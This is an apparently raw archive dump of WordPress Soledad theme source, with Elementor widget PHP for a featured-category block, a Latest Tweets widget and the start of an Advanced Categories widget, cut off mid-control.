		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		$this->end_controls_section();

		$this->register_block_heading_link_section_style();
		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings             = $this->get_settings();
		$penci_columns        = isset( $settings['penci_columns'] ) ? $settings['penci_columns'] : '';
		$penci_columns_tablet = isset( $settings['penci_columns_tablet'] ) ? $settings['penci_columns_tablet'] : $penci_columns;
		$penci_columns_mobile = isset( $settings['penci_columns_mobile'] ) ? $settings['penci_columns_mobile'] : $penci_columns;

		$query_args = Module::get_query_args( 'posts', $settings );

		echo \Soledad_VC_Shortcodes::featured_cat( array(
			'heading'                => $settings['heading'],
			'hide_block_heading'     => $settings['hide_block_heading'],
			'heading_title_style'    => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'     => $settings['heading_title_link'],
			'heading_title_align'    => $settings['block_title_align'],
			'heading_icon_pos'       => $settings['heading_icon_pos'],
			'heading_icon'           => $settings['heading_icon'],
			'cat_seemore'            => $settings['cat_seemore'],
			'cat_view_link'          => $settings['cat_view_link'],
			'cat_remove_arrow'       => $settings['cat_remove_arrow'],
			'cat_readmore_button'    => $settings['cat_readmore_button'],
			'cat_readmore_align'     => $settings['cat_readmore_align'],

			'penci_featimg_size'  => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio' => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'          => $settings['thumb_size'],
			'thumb15'             => $settings['thumb15'],

			'enable_meta_overlay' => $settings['enable_meta_overlay'],
			'hide_author'         => $settings['hide_author'],
			'show_author_sposts'  => $settings['show_author_sposts'],
			'hide_readtime'       => $settings['hide_readtime'],
			'hide_cat'            => $settings['hide_cat'],
			'hide_icon_format'    => $settings['hide_icon_format'],
			'hide_date'           => $settings['hide_date'],
			'hide_excerpt'        => $settings['hide_excerpt'],
			'hide_excerpt_line'   => $settings['hide_excerpt_line'],
			'cat_autoplay'        => $settings['cat_autoplay'],
			'_excerpt_length'     => $settings['_excerpt_length'],
			'big_title_length'    => $settings['big_title_length'],
			'_title_length'       => $settings['_title_length'],

			'penci_columns'        => $settings['penci_columns'],
			'penci_columns_tablet' => $penci_columns_tablet,
			'penci_columns_mobile' => $penci_columns_mobile,
			'penci_column_gap'     => isset( $settings['penci_column_gap'] ) ? $settings['penci_column_gap'] : '',
			'penci_row_gap'        => $settings['penci_row_gap'],
			'show_viewscount'      => $settings['show_viewscount'],
			'show_commentcount'    => $settings['show_commentcount'],

			'style'                      => $settings['penci_style'],
			'elementor_query'            => $query_args,
			'biggrid_ajaxfilter_cat'     => $settings['biggrid_ajaxfilter_cat'],
			'biggrid_ajaxfilter_tag'     => $settings['biggrid_ajaxfilter_tag'],
			'biggrid_ajaxfilter_author'  => $settings['biggrid_ajaxfilter_author'],
			'group_more_link_text'       => $settings['group_more_link_text'],
			'group_more_defaultab_text'  => $settings['group_more_defaultab_text'],
			'biggrid_ajax_loading_style' => $settings['biggrid_ajax_loading_style'],
			'paging'                     => $settings['paging'],

			'validator' => $settings['cspost_enable'],
			'keys'      => $settings['cspost_cpost_meta'],
			'acf'       => $settings['cspost_cpost_acf_meta'],
			'label'     => $settings['cspost_cpost_meta_label'],
			'divider'   => $settings['cspost_cpost_meta_divider'],

			'wrapper_css' => isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '',
		) );
	}
}
PK     1w\F?"  "  0  elementor/modules/penci-latest-tweets/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLatestTweets;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-latest-tweets';
	}

	public function get_widgets() {
		return array( 'PenciLatestTweets' );
	}
}
PK     1w\?  ?  E  elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciLatestTweets\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLatestTweets extends Base_Widget {

	public function get_name() {
		return 'penci-latest-tweets';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Latest Tweets', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'tweets', 'social' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page', array(
			'label' => esc_html__( 'Latest Tweets', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'note_important', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => sprintf( __( 'Note Important: To use this widget you need to connect your Twitter account <a target="_blank" href="%s">here</a>', 'soledad' ), admin_url( 'admin.php?page=penci_twitter_token' ) ),
			'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',

		) );
		$this->add_control( 'tweets_style', array(
			'label'   => __( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'slider',
			'options' => array(
				'slider' => esc_html__( 'Slider', 'soledad' ),
				'list'   => esc_html__( 'List', 'soledad' ),
			)
		) );
		$this->add_control( 'tweets_align', array(
			'label'     => __( 'Align This Widget', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'pc_aligncenter',
			'condition' => [ 'tweets_style' => 'slider' ],
			'options'   => array(
				'pc_aligncenter' => esc_html__( 'Align Center', 'soledad' ),
				'pc_alignleft'   => esc_html__( 'Align Left', 'soledad' ),
				'pc_alignright'  => esc_html__( 'Align Right', 'soledad' ),
			)
		) );

		$this->add_control( 'tweets_hide_date', array(
			'label'     => __( 'Hide tweets date?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'default'   => '',
		) );
		$this->add_control( 'tweets_dis_auto', array(
			'label'     => __( 'Disable Auto Play Tweets Slider?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'tweets_style' => 'slider' ],
			'default'   => '',
		) );
		$this->add_control( 'tweets_reply', array(
			'label'       => __( 'Custom Reply text', 'soledad' ),
			'default'     => esc_html__( 'Reply', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );
		$this->add_control( 'tweets_retweet', array(
			'label'       => __( 'Custom Retweet text', 'soledad' ),
			'default'     => esc_html__( 'Retweet', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );
		$this->add_control( 'tweets_favorite', array(
			'label'       => __( 'Custom Favorite text', 'soledad' ),
			'default'     => esc_html__( 'Favorite', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_latest_tweets_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'tweets_icon_spacing', array(
			'label'     => __( 'Tweet Icon Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'tweets_style' => 'slider' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .icon-tweets' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_date_spacing', array(
			'label'     => __( 'Tweet Date Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-date' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_title_spacing', array(
			'label'     => __( 'Tweet Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-text' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_iconp_spacing', array(
			'label'     => __( 'Reply / Retweet/ Favorite Links & Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-intents' => 'margin-top: {{SIZE}}px!important;' )
		) );
		$this->add_control( 'tweets_nav_spacing', array(
			'label'     => __( 'Tweet Dots Spacing', 'soledad' ),
			'condition' => [ 'tweets_style' => 'slider' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots' => 'margin-top: {{SIZE}}px!important;' )
		) );
		$this->add_control( 'tweets_items_spacing', array(
			'label'     => __( 'Spacing Between Tweets Items', 'soledad' ),
			'condition' => [ 'tweets_style!' => 'slider' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-lists .penci-tweet:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom:calc({{SIZE}}px / 2)' )
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_latest_tweets_style', array(
			'label' => __( 'Latest Tweets', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'tweets_bd_color', array(
			'label'     => __( 'General Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-tweets-lists .penci-tweet:not(:last-child)' => 'border-color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_headings', array(
			'label' => __( 'Text', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );
		$this->add_control( 'tweets_text_color', array(
			'label'     => __( 'Text color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_lcolor', array(
			'label'     => __( 'Text Links color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text a' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_lhcolor', array(
			'label'     => __( 'Text Links Hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text a:hover' => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tweets_text_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .tweet-text',
		) );
		$this->add_control( 'tweets_date_headings', array(
			'label'     => __( 'Date', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'tweets_date_color', array(
			'label'     => __( 'Date color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-date' => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tweets_date_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .tweet-date',
		) );
		$this->add_control( 'tweets_link_headings', array(
			'label'     => __( 'Reply / Retweet/ Favorite Links & Icons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'tweets_link_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .tweet-intents-inner:after'                                                                                                                                                         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .tweet-intents-inner:before'                                                                                                                                                        => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .icon-tweets, {{WRAPPER}} .penci-tweets-widget-content .tweet-intents span:after, {{WRAPPER}} .penci-tweets-widget-content .tweet-intents a' => 'color: {{VALUE}};',
			)
		) );
		$this->add_responsive_control( 'tweets_link_size', array(
			'label'     => __( 'Font size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-intents a' => 'font-size: {{SIZE}}px' ),
		) );
		$this->add_control( 'tweets_dots_headings', array(
			'label'     => __( 'Dots', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'tweets_style' => 'slider' ],
		) );
		$this->add_control( 'tweets_dot_color', array(
			'condition' => [ 'tweets_style' => 'slider' ],
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span' => 'border-color: {{VALUE}};background-color:{{VALUE}};' ),
		) );
		$this->add_control( 'tweets_dot_hcolor', array(
			'condition' => [ 'tweets_style' => 'slider' ],
			'label'     => __( 'Border and Background Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span,' . 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span' => 'border-color: {{VALUE}};background-color:{{VALUE}};'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		if ( function_exists( 'penci_getTweets' ) ) {
			$tweets = penci_getTweets( 5 );
			if ( empty( $tweets ) ) {
				return;
			}

			$reply    = $settings['tweets_reply'];
			$retweet  = $settings['tweets_retweet'];
			$favorite = $settings['tweets_favorite'];

			$css_class = 'penci-latest-tweets-widget';
			$style     = isset( $settings['tweets_style'] ) && $settings['tweets_style'] ? $settings['tweets_style'] : 'slider';
			$classes   = 'slider' == $style ? 'penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider swiper' : 'penci-tweets-lists';
			?>
            <div class="<?php echo esc_attr( $css_class ); ?>">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <div class="penci-block_content">
					<?php
					if ( isset( $tweets['error'] ) ) {
						echo 'Missing Twitter API Keys - please connect your Twitter Account by go to admin > Soledad > Connect Twitter';
					} else {
						$rtl_align = is_rtl() ? 'pc_alignright' : 'pc_alignleft';
						$align     = $style == 'slider' ? $settings['tweets_align'] : $rtl_align;
						?>
                        <div class="penci-tweets-widget-content <?php echo esc_attr( $align ); ?>">
							<?php if ( $style == 'slider' ): ?>
                                <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
							<?php endif; ?>
                            <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                                 data-nav="false" data-seffect="slide" data-auto="<?php if ( $settings['tweets_dis_auto'] ) {
								echo 'false';
							} else {
								echo 'true';
							} ?>">
								<?php
								$item_class = 'normal-item';
								if ( 'slider' == $style ) {
									echo '<div class="swiper-wrapper">';
									$item_class = 'swiper-slide';
								}
								foreach ( $tweets as $tweet ):
									$date_array = explode( ' ', $tweet['created_at'] );
									$tweet_id = $tweet['id_str'];
									$tweet_text = $tweet['text'];
									$urls = $tweet['entities']['urls'];

									if ( isset( $urls ) ) {
										foreach ( $urls as $ul ) {
											$url = $ul['url'];
											if ( isset( $url ) ):
												$tweet_text = str_replace( $url, '<a href="' . $url . '" target="_blank">' . $url . '</a>', $tweet_text );
											endif;
										}
									}
									?>
                                    <div class="penci-tweet <?php echo $item_class;?>">

										<?php if ( $style == 'list' ):
											$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
											$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
											$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
											?>

                                            <div class="tweet-list-top">

												<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $settings['tweets_hide_date'] ): ?>
                                                    <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
												<?php endif; ?>

                                            </div>

										<?php endif; ?>

                                        <div class="tweet-text">
											<?php echo $tweet_text; ?>
                                        </div>
										<?php
										if ( $style == 'slider' && $date_array[1] && $date_array[2] && $date_array[5] && ! $settings['tweets_hide_date'] ): ?>
                                            <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
										<?php endif; ?>
                                        <div class="tweet-intents">
                                            <div class="tweet-intents-inner">
                                            <span><a target="_blank" class="reply"
                                                     href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                                <span><a target="_blank" class="retweet"
                                                         href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                                <span><a target="_blank" class="favorite"
                                                         href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                            </div>
                                        </div>
                                    </div>
								<?php endforeach; 
								if ( 'slider' == $style ) {
									echo '</div>';
								}
								?>

                            </div>
                        </div>

						<?php
					}
					?>
                </div>
            </div>
			<?php
		} else {
			_e( 'Please install the "Penci Social Feed" plugin via Apperance > Install Plugins to get this widget working.', 'soledad' );
		}
	}
}
PK     1w\9|  |  6  elementor/modules/penci-advanced-categories/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedCategories;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-categories';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedCategories' );
	}
}
PK     1w\{p/  /  Q  elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedCategories\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAdvancedCategories extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-categories';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Categories', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_aboutme', array(
			'label' => esc_html__( 'Taxonomy', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1' => __('List', 'soledad' ),
				'style-2' => __('Boxed', 'soledad' ),
				'style-3' => __('Dropdown', 'soledad' ),
			],
		) );

		$post_types  = get_post_types( array( 'public' => true, 'show_in_nav_menus' => true ), 'object' );
		$tax_options = [];
		foreach ( $post_types as $post_type => $type ) {
			foreach ( get_object_taxonomies( $type->name, 'object' ) as $tax_name => $tax_info ) {
				if ( ! in_array( $tax_name, [ 'post_format', 'elementor_library_type', 'penci_block_category' ] ) ) {
					$tax_options[ $tax_name ] = $type->label . ' - ' . $tax_info->label;
				}
			}
		}

		$this->add_control( 'tax', array(
			'label'   => __( 'Taxonomy', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $tax_options,
			'default' => 'category',
		) );

		$this->add_control( 'orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'term_id',
			'options' => [
				'term_id' => __('ID', 'soledad' ),
				'name'    => __('Name', 'soledad' ),
				'slug'    => __('Slug', 'soledad' ),
				'count'   => __('Count', 'soledad' ),
			],
		) );

		$this->add_control( 'order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __('ASC', 'soledad' ),
				'DESC' => __('DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'hide_empty', array(
			'label' => __( 'Show Empty Categories?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'hierarchical', array(
			'label' => __( 'Show in hierarchical?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'count', array(
			'label' => __( 'Show posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'toggle', array(
			'label' => __( 'Show Toggle Button?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'mark_count', array(
			'label' => __( 'Highlight posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'maxitems', array(
			'label'   => __( 'Limit Category to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'excluded', array(
			'label'       => __( 'Exclude Term IDs:', 'soledad' ),
			'description' => __( 'E.g:  1, 2, 4', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'term_name_typo',
			'label'    => __( 'Term Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select',
		) );

		$this->add_control( 'term_name_color', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Color', 'soledad' ),
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_hcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Hover Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-3' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a:hover,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_mcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Color', 'soledad' ),
			'condition' => [
				'style!' => 'style-3',
				'count'  => 'yes'
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax .tag-link-count' => 'color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_mhcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Hover Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-3', 'count' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax a:hover .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax a:hover .tag-link-count' => 'color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_nbgcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count BackgroundColor', 'soledad' ),
			'condition' => [
				'style'      => 'style-1',
				'mark_count' => 'yes',
				'count'      => 'yes',
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax .tag-link-count' => 'background-color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_nbghcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Hover Background Color', 'soledad' ),
			'condition' => [
				'style'      => 'style-1',
				'mark_count' => 'yes',
				'count'      => 'yes',
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax a:hover .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax a:hover .tag-link-count' => 'background-color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_bdcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Border Color', 'soledad' ),
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul ul,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'border-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bdhcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Border Hover Color', 'soledad' ),
			'condition' => [ 'style' => 'style-2' ],
